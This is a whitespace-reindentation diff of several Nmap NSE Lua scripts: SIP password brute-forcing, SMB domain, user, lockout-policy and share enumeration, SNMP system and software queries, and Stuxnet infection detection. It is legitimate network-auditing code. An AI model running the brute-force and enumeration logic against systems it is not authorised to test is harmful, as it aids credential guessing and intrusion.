||||||
login = function( self, username, password )
|
login = function( self, username, password )
|
||||||
self.helper:setCredentials(username, password)
|
self.helper:setCredentials(username, password)
|
||||||
local status, err = self.helper:register()
|
local status, err = self.helper:register()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
-- The 3CX System has an anti-hacking option that triggers after
|
-- The 3CX System has an anti-hacking option that triggers after
|
||||||
-- a certain amount of guesses. This protection basically prevents
|
-- a certain amount of guesses. This protection basically prevents
|
||||||
-- any connection from the offending IP at an application level.
|
-- any connection from the offending IP at an application level.
|
||||||
if ( err:match("^403 Forbidden") ) then
|
if ( err:match("^403 Forbidden") ) then
|
||||||
local err = brute.Error:new("The systems seems to have blocked our IP")
|
local err = brute.Error:new("The systems seems to have blocked our IP")
|
||||||
err:setAbort( true )
|
err:setAbort( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
return false, brute.Error:new( "Incorrect password" )
|
return false, brute.Error:new( "Incorrect password" )
|
||||||
end
|
end
|
||||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||||
end,
|
end,
|
||||||
|
|
||||||
disconnect = function(self) return self.helper:close() end,
|
disconnect = function(self) return self.helper:close() end,
|
||||||
}
|
}
|
||||||
|
|
||||||
-- Function used to check if we can distinguish existing from non-existing
|
-- Function used to check if we can distinguish existing from non-existing
|
||||||
@@ -77,34 +77,34 @@ Driver = {
|
|||||||
-- was successful which makes it impossible to tell successfull logins
|
-- was successful which makes it impossible to tell successfull logins
|
||||||
-- from non-existing accounts apart.
|
-- from non-existing accounts apart.
|
||||||
local function checkBadUser(host, port)
|
local function checkBadUser(host, port)
|
||||||
local user = "baduser-" .. math.random(10000)
|
local user = "baduser-" .. math.random(10000)
|
||||||
local pass = "badpass-" .. math.random(10000)
|
local pass = "badpass-" .. math.random(10000)
|
||||||
local helper = sip.Helper:new(host, port, { expires = 0 })
|
local helper = sip.Helper:new(host, port, { expires = 0 })
|
||||||
|
|
||||||
stdnse.print_debug(2, "Checking bad user: %s/%s", user, pass)
|
stdnse.print_debug(2, "Checking bad user: %s/%s", user, pass)
|
||||||
local status, err = helper:connect()
|
local status, err = helper:connect()
|
||||||
if ( not(status) ) then return false, "ERROR: Failed to connect" end
|
if ( not(status) ) then return false, "ERROR: Failed to connect" end
|
||||||
|
|
||||||
helper:setCredentials(user, pass)
|
helper:setCredentials(user, pass)
|
||||||
local status, err = helper:register()
|
local status, err = helper:register()
|
||||||
helper:close()
|
helper:close()
|
||||||
return status, err
|
return status, err
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local force = stdnse.get_script_args("sip-brute.force")
|
local force = stdnse.get_script_args("sip-brute.force")
|
||||||
|
|
||||||
if ( not(force) ) then
|
if ( not(force) ) then
|
||||||
local status = checkBadUser(host, port)
|
local status = checkBadUser(host, port)
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
return "\nERROR: Cannot detect non-existing user accounts, this will result in:\n" ..
|
return "\nERROR: Cannot detect non-existing user accounts, this will result in:\n" ..
|
||||||
" * Non-exisiting accounts being detected as found\n" ..
|
" * Non-exisiting accounts being detected as found\n" ..
|
||||||
" * Passwords for existing accounts being correctly detected\n\n" ..
|
" * Passwords for existing accounts being correctly detected\n\n" ..
|
||||||
"Supply the sip-brute.force argument to override"
|
"Supply the sip-brute.force argument to override"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
local engine = brute.Engine:new(Driver, host, port)
|
local engine = brute.Engine:new(Driver, host, port)
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
local status, result = engine:start()
|
local status, result = engine:start()
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -65,59 +65,59 @@ dependencies = {"smb-brute"}
|
|||||||
-- TODO: This script needs some love...
|
-- TODO: This script needs some love...
|
||||||
|
|
||||||
hostrule = function(host)
|
hostrule = function(host)
|
||||||
return smb.get_port(host) ~= nil
|
return smb.get_port(host) ~= nil
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host)
|
action = function(host)
|
||||||
|
|
||||||
local status, result = msrpc.get_domains(host)
|
local status, result = msrpc.get_domains(host)
|
||||||
|
|
||||||
if(not(status)) then
|
if(not(status)) then
|
||||||
return stdnse.format_output(false, result)
|
return stdnse.format_output(false, result)
|
||||||
else
|
else
|
||||||
local response = {}
|
local response = {}
|
||||||
|
|
||||||
for domain, data in pairs(result) do
|
for domain, data in pairs(result) do
|
||||||
local piece = {}
|
local piece = {}
|
||||||
piece['name'] = domain
|
piece['name'] = domain
|
||||||
|
|
||||||
if(#data.groups > 0) then
|
if(#data.groups > 0) then
|
||||||
table.insert(piece, string.format("Groups: %s", stdnse.strjoin(", ", data.groups)))
|
table.insert(piece, string.format("Groups: %s", stdnse.strjoin(", ", data.groups)))
|
||||||
else
|
else
|
||||||
table.insert(piece, string.format("Groups: n/a"))
|
table.insert(piece, string.format("Groups: n/a"))
|
||||||
end
|
end
|
||||||
|
|
||||||
if(#data.users > 0) then
|
if(#data.users > 0) then
|
||||||
table.insert(piece, string.format("Users: %s", stdnse.strjoin(", ", data.users)))
|
table.insert(piece, string.format("Users: %s", stdnse.strjoin(", ", data.users)))
|
||||||
else
|
else
|
||||||
table.insert(piece, string.format("Users: n/a"))
|
table.insert(piece, string.format("Users: n/a"))
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Floor data.max_password_age, if possible
|
-- Floor data.max_password_age, if possible
|
||||||
if(data.max_password_age) then
|
if(data.max_password_age) then
|
||||||
data.max_password_age = math.floor(data.max_password_age)
|
data.max_password_age = math.floor(data.max_password_age)
|
||||||
end
|
end
|
||||||
|
|
||||||
table.insert(piece, string.format("Creation time: %s", data.created))
|
table.insert(piece, string.format("Creation time: %s", data.created))
|
||||||
table.insert(piece, string.format("Passwords: min length: %s; min age: %s days; max age: %s days; history: %s passwords",
|
table.insert(piece, string.format("Passwords: min length: %s; min age: %s days; max age: %s days; history: %s passwords",
|
||||||
data.min_password_length or "n/a",
|
data.min_password_length or "n/a",
|
||||||
data.min_password_age or "n/a",
|
data.min_password_age or "n/a",
|
||||||
data.max_password_age or "n/a",
|
data.max_password_age or "n/a",
|
||||||
data.password_history or "n/a"))
|
data.password_history or "n/a"))
|
||||||
if(data.password_properties and #data.password_properties) then
|
if(data.password_properties and #data.password_properties) then
|
||||||
table.insert(piece, string.format("Properties: %s", stdnse.strjoin(", ", data.password_properties)))
|
table.insert(piece, string.format("Properties: %s", stdnse.strjoin(", ", data.password_properties)))
|
||||||
end
|
end
|
||||||
|
|
||||||
if(data.lockout_threshold) then
|
if(data.lockout_threshold) then
|
||||||
table.insert(piece, string.format("Account lockout: %s attempts in %s minutes will lock out the account for %s minutes", data.lockout_threshold, data.lockout_window or "unlimited", data.lockout_duration or "unlimited"))
|
table.insert(piece, string.format("Account lockout: %s attempts in %s minutes will lock out the account for %s minutes", data.lockout_threshold, data.lockout_window or "unlimited", data.lockout_duration or "unlimited"))
|
||||||
else
|
else
|
||||||
table.insert(piece, string.format("Account lockout disabled"))
|
table.insert(piece, string.format("Account lockout disabled"))
|
||||||
end
|
end
|
||||||
|
|
||||||
table.insert(response, piece)
|
table.insert(response, piece)
|
||||||
end
|
end
|
||||||
|
|
||||||
return stdnse.format_output(true, response)
|
return stdnse.format_output(true, response)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -50,79 +50,79 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
|||||||
categories = {"discovery", "safe"}
|
categories = {"discovery", "safe"}
|
||||||
|
|
||||||
hostrule = function(host)
|
hostrule = function(host)
|
||||||
return ( smb.get_port(host) ~= nil and arg_share and arg_path )
|
return ( smb.get_port(host) ~= nil and arg_share and arg_path )
|
||||||
end
|
end
|
||||||
|
|
||||||
-- checks whether the file entry is a directory
|
-- checks whether the file entry is a directory
|
||||||
local function is_dir(fe)
|
local function is_dir(fe)
|
||||||
return ( bit.band(fe.attrs, 16) == 16 )
|
return ( bit.band(fe.attrs, 16) == 16 )
|
||||||
end
|
end
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
||||||
|
|
||||||
action = function(host)
|
action = function(host)
|
||||||
local status, smbstate = smb.start_ex(host, true, true, arg_share, nil, nil, nil)
|
local status, smbstate = smb.start_ex(host, true, true, arg_share, nil, nil, nil)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return fail("Failed to authenticate to server (" .. smbstate .. ")")
|
return fail("Failed to authenticate to server (" .. smbstate .. ")")
|
||||||
end
|
end
|
||||||
|
|
||||||
-- remove leading slash
|
-- remove leading slash
|
||||||
arg_path = ( arg_path:sub(1,2) == '\\' and arg_path:sub(2) or arg_path )
|
arg_path = ( arg_path:sub(1,2) == '\\' and arg_path:sub(2) or arg_path )
|
||||||
|
|
||||||
-- fixup checksum argument
|
-- fixup checksum argument
|
||||||
arg_checksum = ( arg_checksum == 'true' or arg_checksum == '1' ) and true or false
|
arg_checksum = ( arg_checksum == 'true' or arg_checksum == '1' ) and true or false
|
||||||
|
|
||||||
local options = { max_depth = arg_maxdepth, max_files = arg_maxfiles }
|
local options = { max_depth = arg_maxdepth, max_files = arg_maxfiles }
|
||||||
local depth, path, output, dirs = 0, arg_path, {}, {}
|
local depth, path, output, dirs = 0, arg_path, {}, {}
|
||||||
local file_count, dir_count, total_bytes = 0, 0, 0
|
local file_count, dir_count, total_bytes = 0, 0, 0
|
||||||
|
|
||||||
repeat
|
repeat
|
||||||
local lstab = tab.new((arg_checksum and 4 or 3))
|
local lstab = tab.new((arg_checksum and 4 or 3))
|
||||||
|
|
||||||
for fe in smb.find_files(smbstate, path .. '\\' .. arg_pattern, options ) do
|
for fe in smb.find_files(smbstate, path .. '\\' .. arg_pattern, options ) do
|
||||||
if ( arg_checksum and not(is_dir(fe)) ) then
|
if ( arg_checksum and not(is_dir(fe)) ) then
|
||||||
local status, content = smb.file_read(host, arg_share, path .. '\\' .. fe.fname, nil, {file_create_disposition=1})
|
local status, content = smb.file_read(host, arg_share, path .. '\\' .. fe.fname, nil, {file_create_disposition=1})
|
||||||
local sha1 = ( status and stdnse.tohex(openssl.sha1(content)) or "" )
|
local sha1 = ( status and stdnse.tohex(openssl.sha1(content)) or "" )
|
||||||
tab.addrow(lstab, fe.created, (is_dir(fe) and '<DIR>' or fe.eof), fe.fname, sha1)
|
tab.addrow(lstab, fe.created, (is_dir(fe) and '<DIR>' or fe.eof), fe.fname, sha1)
|
||||||
else
|
else
|
||||||
tab.addrow(lstab, fe.created, (is_dir(fe) and '<DIR>' or fe.eof), fe.fname)
|
tab.addrow(lstab, fe.created, (is_dir(fe) and '<DIR>' or fe.eof), fe.fname)
|
||||||
end
|
end
|
||||||
|
|
||||||
arg_maxfiles = ( arg_maxfiles and arg_maxfiles - 1 )
|
arg_maxfiles = ( arg_maxfiles and arg_maxfiles - 1 )
|
||||||
if ( arg_maxfiles == 0 ) then
|
if ( arg_maxfiles == 0 ) then
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( is_dir(fe) ) then
|
if ( is_dir(fe) ) then
|
||||||
dir_count = dir_count + 1
|
dir_count = dir_count + 1
|
||||||
if ( fe.fname ~= '.' and fe.fname ~= '..' ) then
|
if ( fe.fname ~= '.' and fe.fname ~= '..' ) then
|
||||||
table.insert(dirs, { depth = depth + 1, path = path .. '\\' .. fe.fname } )
|
table.insert(dirs, { depth = depth + 1, path = path .. '\\' .. fe.fname } )
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
total_bytes = total_bytes + fe.eof
|
total_bytes = total_bytes + fe.eof
|
||||||
file_count = file_count + 1
|
file_count = file_count + 1
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
table.insert(output, { name = ("Directory of %s"):format( '\\\\' .. stdnse.get_hostname(host) .. '\\' .. arg_share .. path), tab.dump(lstab) })
|
table.insert(output, { name = ("Directory of %s"):format( '\\\\' .. stdnse.get_hostname(host) .. '\\' .. arg_share .. path), tab.dump(lstab) })
|
||||||
|
|
||||||
path = nil
|
path = nil
|
||||||
if ( #dirs ~= 0 ) then
|
if ( #dirs ~= 0 ) then
|
||||||
local dir = table.remove(dirs, 1)
|
local dir = table.remove(dirs, 1)
|
||||||
depth = dir.depth
|
depth = dir.depth
|
||||||
if ( not(arg_maxdepth) or ( dir.depth < arg_maxdepth ) ) then
|
if ( not(arg_maxdepth) or ( dir.depth < arg_maxdepth ) ) then
|
||||||
path = dir.path
|
path = dir.path
|
||||||
table.insert(output, "")
|
table.insert(output, "")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
until(not(path) or arg_maxfiles == 0)
|
until(not(path) or arg_maxfiles == 0)
|
||||||
|
|
||||||
smb.stop(smbstate)
|
smb.stop(smbstate)
|
||||||
|
|
||||||
local summary = { name = "Total Files Listed:",
|
local summary = { name = "Total Files Listed:",
|
||||||
("%8d File(s)\t%d bytes"):format(file_count, total_bytes),
|
("%8d File(s)\t%d bytes"):format(file_count, total_bytes),
|
||||||
("%8d Dir(s)"):format(dir_count) }
|
("%8d Dir(s)"):format(dir_count) }
|
||||||
table.insert(output, "")
|
table.insert(output, "")
|
||||||
table.insert(output, summary)
|
table.insert(output, summary)
|
||||||
|
|
||||||
return stdnse.format_output(true, output)
|
return stdnse.format_output(true, output)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -31,88 +31,88 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
|
|||||||
-- Sends SNMP packets to host and reads responses
|
-- Sends SNMP packets to host and reads responses
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
-- create the socket used for our connection
|
-- create the socket used for our connection
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
|
|
||||||
-- set a reasonable timeout value
|
-- set a reasonable timeout value
|
||||||
socket:set_timeout(5000)
|
socket:set_timeout(5000)
|
||||||
|
|
||||||
-- do some exception handling / cleanup
|
-- do some exception handling / cleanup
|
||||||
local catch = function()
|
local catch = function()
|
||||||
socket:close()
|
socket:close()
|
||||||
end
|
end
|
||||||
|
|
||||||
local try = nmap.new_try(catch)
|
local try = nmap.new_try(catch)
|
||||||
|
|
||||||
-- connect to the potential SNMP system
|
-- connect to the potential SNMP system
|
||||||
try(socket:connect(host, port))
|
try(socket:connect(host, port))
|
||||||
|
|
||||||
local payload
|
local payload
|
||||||
|
|
||||||
-- build a SNMP v1 packet
|
-- build a SNMP v1 packet
|
||||||
-- copied from packet capture of snmpget exchange
|
-- copied from packet capture of snmpget exchange
|
||||||
-- get value: 1.3.6.1.2.1.1.1.0 (SNMPv2-MIB::sysDescr.0)
|
-- get value: 1.3.6.1.2.1.1.1.0 (SNMPv2-MIB::sysDescr.0)
|
||||||
local options = {}
|
local options = {}
|
||||||
options.reqId = 28428 -- unnecessary?
|
options.reqId = 28428 -- unnecessary?
|
||||||
payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, "1.3.6.1.2.1.1.1.0")))
|
payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, "1.3.6.1.2.1.1.1.0")))
|
||||||
|
|
||||||
try(socket:send(payload))
|
try(socket:send(payload))
|
||||||
|
|
||||||
local status
|
local status
|
||||||
local response
|
local response
|
||||||
|
|
||||||
-- read in any response we might get
|
-- read in any response we might get
|
||||||
status, response = socket:receive_bytes(1)
|
status, response = socket:receive_bytes(1)
|
||||||
|
|
||||||
if (not status) or (response == "TIMEOUT") then
|
if (not status) or (response == "TIMEOUT") then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- since we got something back, the port is definitely open
|
-- since we got something back, the port is definitely open
|
||||||
nmap.set_port_state(host, port, "open")
|
nmap.set_port_state(host, port, "open")
|
||||||
|
|
||||||
local result
|
local result
|
||||||
result = snmp.fetchFirst(response)
|
result = snmp.fetchFirst(response)
|
||||||
|
|
||||||
-- build a SNMP v1 packet
|
-- build a SNMP v1 packet
|
||||||
-- copied from packet capture of snmpget exchange
|
-- copied from packet capture of snmpget exchange
|
||||||
-- get value: 1.3.6.1.2.1.1.3.0 (SNMPv2-MIB::sysUpTime.0)
|
-- get value: 1.3.6.1.2.1.1.3.0 (SNMPv2-MIB::sysUpTime.0)
|
||||||
local options = {}
|
local options = {}
|
||||||
options.reqId = 28428
|
options.reqId = 28428
|
||||||
payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, "1.3.6.1.2.1.1.3.0")))
|
payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, "1.3.6.1.2.1.1.3.0")))
|
||||||
|
|
||||||
try(socket:send(payload))
|
try(socket:send(payload))
|
||||||
|
|
||||||
-- read in any response we might get
|
-- read in any response we might get
|
||||||
status, response = socket:receive_bytes(1)
|
status, response = socket:receive_bytes(1)
|
||||||
|
|
||||||
if (not status) or (response == "TIMEOUT") then
|
if (not status) or (response == "TIMEOUT") then
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
try(socket:close())
|
try(socket:close())
|
||||||
|
|
||||||
local uptime = snmp.fetchFirst(response)
|
local uptime = snmp.fetchFirst(response)
|
||||||
|
|
||||||
local days, hours, minutes, seconds, htime, mtime, stime
|
local days, hours, minutes, seconds, htime, mtime, stime
|
||||||
days = math.floor(uptime / 8640000)
|
days = math.floor(uptime / 8640000)
|
||||||
htime = math.fmod(uptime, 8640000)
|
htime = math.fmod(uptime, 8640000)
|
||||||
hours = math.floor(htime / 360000)
|
hours = math.floor(htime / 360000)
|
||||||
mtime = math.fmod(htime, 360000)
|
mtime = math.fmod(htime, 360000)
|
||||||
minutes = math.floor(mtime / 6000)
|
minutes = math.floor(mtime / 6000)
|
||||||
stime = math.fmod(mtime, 6000)
|
stime = math.fmod(mtime, 6000)
|
||||||
seconds = stime / 100
|
seconds = stime / 100
|
||||||
|
|
||||||
local dayLabel
|
local dayLabel
|
||||||
|
|
||||||
if days == 1 then
|
if days == 1 then
|
||||||
dayLabel = "day"
|
dayLabel = "day"
|
||||||
else
|
else
|
||||||
dayLabel = "days"
|
dayLabel = "days"
|
||||||
end
|
end
|
||||||
|
|
||||||
result = result .. "\n" .. string.format(" System uptime: %d %s, %d:%02d:%05.2f (%s timeticks)", days, dayLabel, hours, minutes, seconds, tostring(uptime))
|
result = result .. "\n" .. string.format(" System uptime: %d %s, %d:%02d:%05.2f (%s timeticks)", days, dayLabel, hours, minutes, seconds, tostring(uptime))
|
||||||
|
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -40,13 +40,13 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
|
|||||||
-- @return value of relevant type or nil if oid was not found
|
-- @return value of relevant type or nil if oid was not found
|
||||||
function get_value_from_table( tbl, oid )
|
function get_value_from_table( tbl, oid )
|
||||||
|
|
||||||
for _, v in ipairs( tbl ) do
|
for _, v in ipairs( tbl ) do
|
||||||
if v.oid == oid then
|
if v.oid == oid then
|
||||||
return v.value
|
return v.value
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
--- Processes the table and creates the script output
|
--- Processes the table and creates the script output
|
||||||
@@ -55,55 +55,55 @@ end
|
|||||||
-- @return table suitable for <code>stdnse.format_output</code>
|
-- @return table suitable for <code>stdnse.format_output</code>
|
||||||
function process_answer( tbl )
|
function process_answer( tbl )
|
||||||
|
|
||||||
local sw_name = "1.3.6.1.2.1.25.6.3.1.2"
|
local sw_name = "1.3.6.1.2.1.25.6.3.1.2"
|
||||||
local sw_date = "1.3.6.1.2.1.25.6.3.1.5"
|
local sw_date = "1.3.6.1.2.1.25.6.3.1.5"
|
||||||
local new_tbl = {}
|
local new_tbl = {}
|
||||||
|
|
||||||
for _, v in ipairs( tbl ) do
|
for _, v in ipairs( tbl ) do
|
||||||
|
|
||||||
if ( v.oid:match("^" .. sw_name) ) then
|
if ( v.oid:match("^" .. sw_name) ) then
|
||||||
local objid = v.oid:gsub( "^" .. sw_name, sw_date)
|
local objid = v.oid:gsub( "^" .. sw_name, sw_date)
|
||||||
local install_date = get_value_from_table( tbl, objid )
|
local install_date = get_value_from_table( tbl, objid )
|
||||||
local sw_item
|
local sw_item
|
||||||
|
|
||||||
local _, year, month, day, hour, min, sec = bin.unpack( ">SCCCCC", install_date )
|
local _, year, month, day, hour, min, sec = bin.unpack( ">SCCCCC", install_date )
|
||||||
install_date = ("%02d-%02d-%02d %02d:%02d:%02d"):format( year, month, day, hour, min, sec )
|
install_date = ("%02d-%02d-%02d %02d:%02d:%02d"):format( year, month, day, hour, min, sec )
|
||||||
|
|
||||||
sw_item = ("%s; %s"):format(v.value ,install_date)
|
sw_item = ("%s; %s"):format(v.value ,install_date)
|
||||||
table.insert( new_tbl, sw_item )
|
table.insert( new_tbl, sw_item )
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
table.sort( new_tbl )
|
table.sort( new_tbl )
|
||||||
return new_tbl
|
return new_tbl
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
local catch = function() socket:close() end
|
local catch = function() socket:close() end
|
||||||
local try = nmap.new_try(catch)
|
local try = nmap.new_try(catch)
|
||||||
local data, snmpoid = nil, "1.3.6.1.2.1.25.6.3.1"
|
local data, snmpoid = nil, "1.3.6.1.2.1.25.6.3.1"
|
||||||
local sw = {}
|
local sw = {}
|
||||||
local status
|
local status
|
||||||
|
|
||||||
socket:set_timeout(5000)
|
socket:set_timeout(5000)
|
||||||
try(socket:connect(host, port))
|
try(socket:connect(host, port))
|
||||||
|
|
||||||
status, sw = snmp.snmpWalk( socket, snmpoid )
|
status, sw = snmp.snmpWalk( socket, snmpoid )
|
||||||
socket:close()
|
socket:close()
|
||||||
|
|
||||||
if ( not(status) ) or ( sw == nil ) or ( #sw == 0 ) then
|
if ( not(status) ) or ( sw == nil ) or ( #sw == 0 ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
sw = process_answer( sw )
|
sw = process_answer( sw )
|
||||||
|
|
||||||
nmap.set_port_state(host, port, "open")
|
nmap.set_port_state(host, port, "open")
|
||||||
|
|
||||||
return stdnse.format_output( true, sw )
|
return stdnse.format_output( true, sw )
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -42,76 +42,76 @@ local RPC_GET_VERSION = 0x00
|
|||||||
local RPC_GET_EXECUTABLE = 0x04
|
local RPC_GET_EXECUTABLE = 0x04
|
||||||
|
|
||||||
local function check_infected(host, path, save)
|
local function check_infected(host, path, save)
|
||||||
local file, result, session, status, version
|
local file, result, session, status, version
|
||||||
|
|
||||||
-- Create an SMB session.
|
-- Create an SMB session.
|
||||||
status, session = msrpc.start_smb(host, path)
|
status, session = msrpc.start_smb(host, path)
|
||||||
if not status then
|
if not status then
|
||||||
stdnse.print_debug(1, "Failed to establish session on %s.", path)
|
stdnse.print_debug(1, "Failed to establish session on %s.", path)
|
||||||
return false, nil
|
return false, nil
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Bind to the Stuxnet service.
|
-- Bind to the Stuxnet service.
|
||||||
status, result = msrpc.bind(session, STUXNET_UUID, STUXNET_VERSION, nil)
|
status, result = msrpc.bind(session, STUXNET_UUID, STUXNET_VERSION, nil)
|
||||||
if not status or result["ack_result"] ~= 0 then
|
if not status or result["ack_result"] ~= 0 then
|
||||||
stdnse.print_debug(1, "Failed to bind to Stuxnet service.")
|
stdnse.print_debug(1, "Failed to bind to Stuxnet service.")
|
||||||
msrpc.stop_smb(session)
|
msrpc.stop_smb(session)
|
||||||
return false, nil
|
return false, nil
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Request version of Stuxnet infection.
|
-- Request version of Stuxnet infection.
|
||||||
status, result = msrpc.call_function(session, RPC_GET_VERSION, "")
|
status, result = msrpc.call_function(session, RPC_GET_VERSION, "")
|
||||||
if not status then
|
if not status then
|
||||||
stdnse.print_debug(1, "Failed to retrieve Stuxnet version: %s", result)
|
stdnse.print_debug(1, "Failed to retrieve Stuxnet version: %s", result)
|
||||||
msrpc.stop_smb(session)
|
msrpc.stop_smb(session)
|
||||||
return false, nil
|
return false, nil
|
||||||
end
|
end
|
||||||
version = stdnse.tohex(result.arguments, {separator = ":"})
|
version = stdnse.tohex(result.arguments, {separator = ":"})
|
||||||
|
|
||||||
-- Request executable of Stuxnet infection.
|
-- Request executable of Stuxnet infection.
|
||||||
if save then
|
if save then
|
||||||
local file, fmt
|
local file, fmt
|
||||||
|
|
||||||
status, result = msrpc.call_function(session, RPC_GET_EXECUTABLE, "")
|
status, result = msrpc.call_function(session, RPC_GET_EXECUTABLE, "")
|
||||||
if not status then
|
if not status then
|
||||||
stdnse.print_debug(1, "Failed to retrieve Stuxnet executable: %s", result)
|
stdnse.print_debug(1, "Failed to retrieve Stuxnet executable: %s", result)
|
||||||
msrpc.stop_smb(session)
|
msrpc.stop_smb(session)
|
||||||
return true, version
|
return true, version
|
||||||
end
|
end
|
||||||
|
|
||||||
fmt = save:gsub("%%h", host.ip)
|
fmt = save:gsub("%%h", host.ip)
|
||||||
fmt = fmt:gsub("%%v", version)
|
fmt = fmt:gsub("%%v", version)
|
||||||
file = io.open(stdnse.filename_escape(fmt), "w")
|
file = io.open(stdnse.filename_escape(fmt), "w")
|
||||||
if file then
|
if file then
|
||||||
stdnse.print_debug(1, "Wrote %d bytes to file %s.", #result.arguments, fmt)
|
stdnse.print_debug(1, "Wrote %d bytes to file %s.", #result.arguments, fmt)
|
||||||
file:write(result.arguments)
|
file:write(result.arguments)
|
||||||
file:close()
|
file:close()
|
||||||
else
|
else
|
||||||
stdnse.print_debug(1, "Failed to open file: %s", fmt)
|
stdnse.print_debug(1, "Failed to open file: %s", fmt)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Destroy the SMB session
|
-- Destroy the SMB session
|
||||||
msrpc.stop_smb(session)
|
msrpc.stop_smb(session)
|
||||||
|
|
||||||
return true, version
|
return true, version
|
||||||
end
|
end
|
||||||
|
|
||||||
hostrule = function(host)
|
hostrule = function(host)
|
||||||
return (smb.get_port(host) ~= nil)
|
return (smb.get_port(host) ~= nil)
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local _, path, result, save, status
|
local _, path, result, save, status
|
||||||
|
|
||||||
-- Get script arguments.
|
-- Get script arguments.
|
||||||
save = stdnse.get_script_args("stuxnet-detect.save")
|
save = stdnse.get_script_args("stuxnet-detect.save")
|
||||||
|
|
||||||
-- Try to find Stuxnet on this host.
|
-- Try to find Stuxnet on this host.
|
||||||
for _, path in pairs(STUXNET_PATHS) do
|
for _, path in pairs(STUXNET_PATHS) do
|
||||||
status, result = check_infected(host, path, save)
|
status, result = check_infected(host, path, save)
|
||||||
if status then
|
if status then
|
||||||
return "INFECTED (version " .. result .. ")"
|
return "INFECTED (version " .. result .. ")"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -37,85 +37,85 @@ hostrule = function() return true end
|
|||||||
|
|
||||||
-- the hostrule is only needed to warn
|
-- the hostrule is only needed to warn
|
||||||
hostaction = function(host)
|
hostaction = function(host)
|
||||||
local port, state = nil, "open"
|
local port, state = nil, "open"
|
||||||
local is_version_scan = false
|
local is_version_scan = false
|
||||||
|
|
||||||
-- iterate over ports and check whether name_confidence > 3 this would
|
-- iterate over ports and check whether name_confidence > 3 this would
|
||||||
-- suggest that a version scan has been run
|
-- suggest that a version scan has been run
|
||||||
for _, proto in ipairs({"tcp", "udp"}) do
|
for _, proto in ipairs({"tcp", "udp"}) do
|
||||||
repeat
|
repeat
|
||||||
port = nmap.get_ports(host, port, proto, state)
|
port = nmap.get_ports(host, port, proto, state)
|
||||||
if ( port and port.version.name_confidence > 3 ) then
|
if ( port and port.version.name_confidence > 3 ) then
|
||||||
is_version_scan = true
|
is_version_scan = true
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
until( not(port) )
|
until( not(port) )
|
||||||
end
|
end
|
||||||
|
|
||||||
-- if no version scan has been run, warn the user as the script requires a
|
-- if no version scan has been run, warn the user as the script requires a
|
||||||
-- version scan in order to work.
|
-- version scan in order to work.
|
||||||
if ( not(is_version_scan) ) then
|
if ( not(is_version_scan) ) then
|
||||||
return stdnse.format_output(true, "WARNING: this script depends on Nmap's service/version detection (-sV)")
|
return stdnse.format_output(true, "WARNING: this script depends on Nmap's service/version detection (-sV)")
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
portchecks = {
|
portchecks = {
|
||||||
|
|
||||||
['tcp'] = {
|
['tcp'] = {
|
||||||
[113] = function(host, port) return ( port.service == "ident" ) end,
|
[113] = function(host, port) return ( port.service == "ident" ) end,
|
||||||
[445] = function(host, port) return ( port.service == "netbios-ssn" ) end,
|
[445] = function(host, port) return ( port.service == "netbios-ssn" ) end,
|
||||||
[587] = function(host, port) return ( port.service == "smtp" ) end,
|
[587] = function(host, port) return ( port.service == "smtp" ) end,
|
||||||
[593] = function(host, port) return ( port.service == "ncacn_http" ) end,
|
[593] = function(host, port) return ( port.service == "ncacn_http" ) end,
|
||||||
